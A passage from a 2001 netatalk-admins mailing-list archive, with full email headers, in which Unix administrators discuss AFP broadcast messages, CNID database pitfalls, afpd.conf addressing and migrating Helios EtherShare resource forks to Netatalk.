 with ESMTP (Eudora Internet Mail Server 1.3.1); Mon, 17 Dec 2001 11:19:38 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100306b843caa95433@[192.168.42.39]>
In-Reply-To: <20011217151144.A1418@hasi.coffee.ac>
References: <20011217151144.A1418@hasi.coffee.ac>
Date: Mon, 17 Dec 2001 11:19:56 -0500
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: messaging
Content-Type: text/plain; charset="us-ascii"

i'm sure this has been brought up before, but i couldn't seem to find any mention in the archives. 

when i'm sitting at my ASIP machine, i can send messages to users or do a broadcast message to all connected users, as well as send a message when i'm about to do a reboot, etc.

is there a similar or equivalent capability with netatalk? i'd like, for instance, to be able to send a broadcast message to connected users that in five minutes i'll be taking the server offline to run FSCK or something to that effect, or send an individual user a message telling him not to store porn in his shared folder, etc.

is there any way to do this while sitting at the linux box or while SSH'd to it?

From netatalk.administrators-errors@umich.edu  Mon Dec 17 14:32:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA00652
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Dec 2001 14:32:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA02838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Dec 2001 14:32:43 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA02829
	for netatalk.administrators-members@umich.edu; Mon, 17 Dec 2001 14:32:43 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA02787
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 14:32:41 -0500 (EST)
Received: from [139.7.60.85] ([139.7.60.85])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id UAA30351;
	Mon, 17 Dec 2001 20:55:08 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 17 Dec 2001 20:31:31 +0100
Subject: Re: DID shemes
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Colin Tueck <colin@tueck.de>, <netatalk-admins@umich.edu>
Message-ID: <B843FAF1.163B8%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20011217151144.A1418@hasi.coffee.ac>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 17 Dec 2001 15:11:44 +0100, Colin Tueck wrote:

> I'm thinking about which DID-sheme to use is the best choice for us.

Well, I think, CNID is the future :-)

> I heard that using the CNID-db may conflict with accessing the same
> data with ASIP and Samba.

Hmm... Just my thoughts. I'm doing some research on this regarding AFP
conformance but couldn't use an ID-dump tool, since a friend of mine has no
spare time to supply me with it...

In my opinion we will get in big trouble if we are using CNID and allow
processes to modify (create, move, delete, etc.) files/folders without
notifying the underlying ID-database.

Simple test: Create a folder called eg. "test" and copy a file "sample.txt"
inside from a mac. Now on UNIX, inside a shell, move this file "sample.txt"
and its ressource file (.AppleDouble/sample.txt" to another location (eg.
./..). Try to copy the original file "sample.txt" from your mac once again
in the original folder. You will get a "-50" error since the CNID database
thinks, there is a file but in reality it isn't there any more...

My opinion is derived from experience, in particular with Helios'
EtherShare. They implemented a database solution years ago and from playing
with this I would suggest to

- never ever modify files besides the database

- do not use symlinks inside shares

- never share a volume twice until there is a method, two afpds can sync the
  ID information (which won't be the case if you share it more than once
  even if you use different .AppleDB locations)

(note: this has neither to do with locking nor access rights on the database
file(s))

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Dec 17 17:43:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA10571
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Dec 2001 17:43:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA26158
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Dec 2001 17:43:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA26144
	for netatalk.administrators-members@umich.edu; Mon, 17 Dec 2001 17:43:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA26100
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 17:43:54 -0500 (EST)
Received: from [149.225.35.41] (pec-35-41.tnt1.f.uunet.de [149.225.35.41])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA31081;
	Tue, 18 Dec 2001 00:06:24 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 17 Dec 2001 23:43:50 +0100
Subject: Re: Apple Share of IP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jamie Flournoy <jamie@white-mountain.org>, <netatalk-admins@umich.edu>
Message-ID: <B8440D87.163D7%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1D4A64.CA06C7BA@white-mountain.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sun, 16 Dec 2001 17:29:07 -0800, Jamie Flournoy wrote:

[afp server's answer to client's FPGetSrvrInfo request regarding the
possible connection methods]
> I didn't realize that the list of addresses which was returned would *only*
> include the first IP address...

This is obviously the case if you don't specify addresses in your afpd.conf
(note: with Netatalk 1.42b+asun2.1.3 the syntax is '-address', with 1.5 you
have to write '-ipaddr')

I would strongly recommend to use the afpd.conf feature as it avoids
confusion...

> [...] now that I've fixed my /etc/hosts, it looks like this, even
> when picking the server name from the list:
> 
> afpd[18992]: ASIP started on 192.168.0.11:548(1) (1.5cnid)

There is another side effect with this. With AFP 2.2 (or 2.1 -- don't
remember) a feature called server signatures has been introduced. If a
server supplies server signatures, the AppleShare client can use them to
determine whether a server is already mounted or not (avoiding another
authentication session against it). The code to create such a server
signature relies on the same information, from which the 'default'
AFPoverTCP address is created, I believe -- I'm no coder, so I cannot read
the sources :-(

Imagine you have two servers on your location, both set up with 127.0.0.l as
first address (and no address defined in afpd.conf). When you mount a volume
from one of them, your Finder won't let you mount the volumes from the other
one (you will get a message stating "already connected") since it believes,
both servers are the same.

This seems to happen only if you don't specify an IP address in afpd.conf
(what I realized these days, so apologies for my previous partial
misunderstandings to charlie wood -- thread "problem mounting two servers"
starting on Fri, 07 Sep 2001)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Dec 17 21:56:03 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA21927
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 17 Dec 2001 21:56:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA17752
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 17 Dec 2001 21:56:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA17738
	for netatalk.administrators-members@umich.edu; Mon, 17 Dec 2001 21:56:02 -0500 (EST)
Received: from imo-d06.mx.aol.com (imo-d06.mx.aol.com [205.188.157.38])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA17715
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 21:56:01 -0500 (EST)
Received: from ditimtiennu@netscape.net
	by imo-d06.mx.aol.com (mail_out_v31_r1.9.) id a.c7.15d5f54 (22683)
	 for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 21:55:44 -0500 (EST)
Received: from  netscape.net ([203.162.55.3]) by air-in04.mx.aol.com (v82.22) with ESMTP id MAILININ44-1217215543; Mon, 17 Dec 2001 21:55:43 -0500
Message-ID: <3C1EB054.8050208@netscape.net>
Date: Tue, 18 Dec 2001 09:56:20 +0700
From: Lam Quoc Thanh <ditimtiennu@netscape.net>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Appletalk name problem
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Mailer: Unknown (No Version)

Hi all,

I have just built netatalk-1.5pre6 under powerpc linux. I ran netatalk 
on it. When i use npblkup to search NBP name, i can see Windows 2000 
server name with appletalk support but i ca't see apple computer.
Can you give me what my problem ?

Regards
Tony


From netatalk.administrators-errors@umich.edu  Tue Dec 18 00:23:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA28197
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 00:23:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA21269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 00:23:00 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA21261
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 00:23:00 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA21216
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 00:22:57 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id PAA06009
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 15:22:15 +1000 (EST)
Message-ID: <3C1ED362.96464106@qimr.edu.au>
Date: Tue, 18 Dec 2001 15:25:54 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Migrating Ether Share resource file .rsrc to Netatalk .AppleDouble
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear all

I am trying to convert resource file of Helios Ether Share to Netatalk
(netatalk-1.4b2+asun2.1.4) on SUN Solaris 8 machine.
Does anyone know how to do it?

I have found that the same question has been asked before(as shown
below), but can not find any answer.

http://www.umich.edu/~rsug/netatalk/archive/admins/2000/2676.html

Any help would be much appreciated!

Thanks!

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Tue Dec 18 02:16:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA02836
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 02:16:30 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA22346
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 02:16:30 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA22338
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 02:16:29 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA22304
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 02:16:28 -0500 (EST)
Received: from [149.225.93.137] (pec-93-137.tnt5.f.uunet.de [149.225.93.137])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA13124;
	Tue, 18 Dec 2001 08:38:52 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 18 Dec 2001 08:16:12 +0100
Subject: Re: Appletalk name problem
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lam Quoc Thanh <ditimtiennu@netscape.net>, <netatalk-admins@umich.edu>
Message-ID: <B844AAE5.16403%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1EB054.8050208@netscape.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 18 Dec 2001 09:56:20 +0700, Lam Quoc Thanh wrote:

> When i use npblkup to search NBP name, i can see Windows 2000
> server name with appletalk support but i ca't see apple computer.

Do you have zones in your network? What does '/usr/bin/getzones' say?

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 18 02:16:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA02856
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 02:16:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA06485
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 02:16:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA06471
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 02:16:37 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA06435
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 02:16:36 -0500 (EST)
Received: from [149.225.93.137] (pec-93-137.tnt5.f.uunet.de [149.225.93.137])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA13127;
	Tue, 18 Dec 2001 08:38:55 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 18 Dec 2001 08:16:12 +0100
Subject: Re: Migrating Ether Share resource file .rsrc to Netatalk
	.AppleDouble
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>, <netatalk-admins@umich.edu>
Message-ID: <B844AB27.16404%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1ED362.96464106@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Tue, 18 Dec 2001 15:25:54 +1000, Xiaping Lin wrote:

> I am trying to convert resource file of Helios Ether Share to Netatalk
> (netatalk-1.4b2+asun2.1.4) on SUN Solaris 8 machine. Does anyone know how to
> do it?

One way is using a simple perl script to translate the metadata and resource
fork data from each format into another. Netatalk's settings can be examined
from source. For Helios' there exists a small PDF inside the support section
on <http://www.helios.de>.

Another way would be to convert the whole file temporary into MacBinary and
back into the other native format (for Helios --> ES-Convert from UG-Soft
<http://www.ugsoft-de>, for Netatalk use megatron --> 'man megatron'. But be
careful! Older versions of megatron create wrong timestamps!)

BTW: Why do you want to do this? Is this an older EtherShare installation?

Best regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 18 02:19:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA02974
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 02:19:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA03272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 02:19:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA03268
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 02:19:16 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA03237
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 02:19:15 -0500 (EST)
Received: from [149.225.93.137] (pec-93-137.tnt5.f.uunet.de [149.225.93.137])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA13140;
	Tue, 18 Dec 2001 08:41:47 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 18 Dec 2001 08:19:11 +0100
Subject: Re: messaging
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Charles Mangin <charles@burneydesign.com>, <netatalk-admins@umich.edu>
Message-ID: <B844AC7E.16405%Thomas.Kaiser@phg-online.de>
In-Reply-To: <f05100306b843caa95433@[192.168.42.39]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 17 Dec 2001 11:19:56 -0500, Charles Mangin wrote:

[AFP messages]
> is there any way to do this while sitting at the linux box or while SSH'd
> to it?

You may want to try Netatalk 1.5rc1 and use the '--with-msg-dir=' feature:
Take a look at <http://sourceforge.net/projects/netatalk/>, escpecially
<http://sourceforge.net/docman/display_doc.php?docid=404&group_id=8642>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 18 02:22:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA03150
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 02:22:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA08747
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 02:22:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA08733
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 02:22:50 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA08701
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 02:22:49 -0500 (EST)
Received: from white-mountain.org (merlin.dhcp.white-mountain.org [192.168.0.140])
	by hermit.white-mountain.org (Postfix) with ESMTP id 0B9C14437
	for <netatalk-admins@umich.edu>; Mon, 17 Dec 2001 23:22:49 -0800 (PST)
Message-ID: <3C1EEF78.4336C41C@white-mountain.org>
Date: Mon, 17 Dec 2001 23:25:44 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Migrating Ether Share resource file .rsrc to Netatalk .AppleDouble
References: <3C1ED362.96464106@qimr.edu.au>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

For those of us not using Helios EtherShare... what is it? Do you have any
documentation on the file format it uses for resources? I've heard others
on the list talking about it but I've never encountered it.

I can't promise to help (waaaaaaay too busy right now) but if you give
more info, somebody else might be able to contribute...

Xiaping Lin wrote:

> Dear all
>
> I am trying to convert resource file of Helios Ether Share to Netatalk
> (netatalk-1.4b2+asun2.1.4) on SUN Solaris 8 machine.
> Does anyone know how to do it?
>
> I have found that the same question has been asked before(as shown
> below), but can not find any answer.
>
> http://www.umich.edu/~rsug/netatalk/archive/admins/2000/2676.html
>
> Any help would be much appreciated!
>
> Thanks!
>
> --
> Xiaping Lin


From netatalk.administrators-errors@umich.edu  Tue Dec 18 02:35:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA03618
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 02:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA08304
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 02:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA08288
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 02:35:35 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA08241
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 02:35:34 -0500 (EST)
Received: from [149.225.37.2] (pec-37-2.tnt2.f.uunet.de [149.225.37.2])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA13246;
	Tue, 18 Dec 2001 08:58:05 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 18 Dec 2001 08:35:30 +0100
Subject: Re: Migrating Ether Share resource file .rsrc to Netatalk
	.AppleDouble
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Jamie Flournoy <jamie@white-mountain.org>
CC: <netatalk-admins@umich.edu>
Message-ID: <B844B030.16417%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1EEF78.4336C41C@white-mountain.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 17 Dec 2001 23:25:44 -0800, Jamie Flournoy wrote:

> For those of us not using Helios EtherShare... what is it?

It's a commercial AppleTalk-/AFP-/PAP-Stack (nowadays also support for SLP
and so on) that runs on 9 different UNIXes (see <http://www.helios.de>)

Together with PCShare it is the best cross-platform filesharing solution
available, I know of (persistent IDs for years, seamless integration with
Windows, no issues with quark xpress and other mac-softwares that rely on
IDs, and finally as stable as netatalk/samba)

Regards,

Thomas

PS: Ressource-Fork specs can be read here:
    <http://www.helios.de/support/develop/apple_res.html>


From netatalk.administrators-errors@umich.edu  Tue Dec 18 09:00:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA16259
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 09:00:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04064
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 09:00:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04046
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 09:00:15 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA04017
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 09:00:14 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 18 Dec 2001 09:00:13 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b844fc328d4a@[192.168.110.21]>
In-Reply-To: <B844B030.16417%Thomas.Kaiser@phg-online.de>
References: <B844B030.16417%Thomas.Kaiser@phg-online.de>
Date: Tue, 18 Dec 2001 09:00:11 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Migrating Ether Share resource file .rsrc to Netatalk 
 .AppleDouble
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Mon, 17 Dec 2001 23:25:44 -0800, Jamie Flournoy wrote:
>
>>  For those of us not using Helios EtherShare... what is it?
>
>It's a commercial AppleTalk-/AFP-/PAP-Stack (nowadays also support for SLP
>and so on) that runs on 9 different UNIXes (see <http://www.helios.de>)
>
>Together with PCShare it is the best cross-platform filesharing solution
>available, I know of (persistent IDs for years, seamless integration with
>Windows, no issues with quark xpress and other mac-softwares that rely on
>IDs, and finally as stable as netatalk/samba)
>
>Regards,
>
>Thomas
>
>PS: Ressource-Fork specs can be read here:
>     <http://www.helios.de/support/develop/apple_res.html>

We use it on an SGI IRIX 6.5. It supports OPI and print spooling much 
like Xinet FullPress.

-Wes
-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny

From netatalk.administrators-errors@umich.edu  Tue Dec 18 13:32:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA29360
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 13:32:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA01488
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 13:32:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA01476
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 13:32:01 -0500 (EST)
Received: from web20303.mail.yahoo.com (web20303.mail.yahoo.com [216.136.226.84])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA01450
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 13:32:00 -0500 (EST)
Message-ID: <20011218183159.4220.qmail@web20303.mail.yahoo.com>
Received: from [216.130.31.44] by web20303.mail.yahoo.com via HTTP; Tue, 18 Dec 2001 10:31:59 PST
Date: Tue, 18 Dec 2001 10:31:59 -0800 (PST)
From: Shaun <senmonk6@yahoo.com>
Subject: User Authentication Question...
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

I have install netatalk on a imac running LinuxPPCQ4 2000. I am having trouble finding where the
problems in my configuration files are. The error message goes as follows:


User Authentitcation method recquired by server cannot be found, check the Appleshare folder in
Extensions folder

Any Suggestions??

Shaun Newcomer
senmonk6@yahoo.com

__________________________________________________
Do You Yahoo!?
Check out Yahoo! Shopping and Yahoo! Auctions for all of
your unique holiday gifts! Buy at http://shopping.yahoo.com
or bid at http://auctions.yahoo.com

From netatalk.administrators-errors@umich.edu  Tue Dec 18 15:07:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA06035
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 15:07:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA22497
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 15:07:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA22478
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 15:07:13 -0500 (EST)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA22458
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 15:07:12 -0500 (EST)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Tue, 18 Dec 2001 15:07:14 -0500
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100303b8455265125c@[192.168.42.39]>
In-Reply-To: <B844AC7E.16405%Thomas.Kaiser@phg-online.de>
References: <B844AC7E.16405%Thomas.Kaiser@phg-online.de>
Date: Tue, 18 Dec 2001 15:07:34 -0500
To: <netatalk-admins@umich.edu>
From: Charles Mangin <charles@burneydesign.com>
Subject: Re: messaging
Content-Type: text/plain; charset="us-ascii"


>You may want to try Netatalk 1.5rc1 and use the '--with-msg-dir=' feature:
>Take a look at <http://sourceforge.net/projects/netatalk/>, escpecially
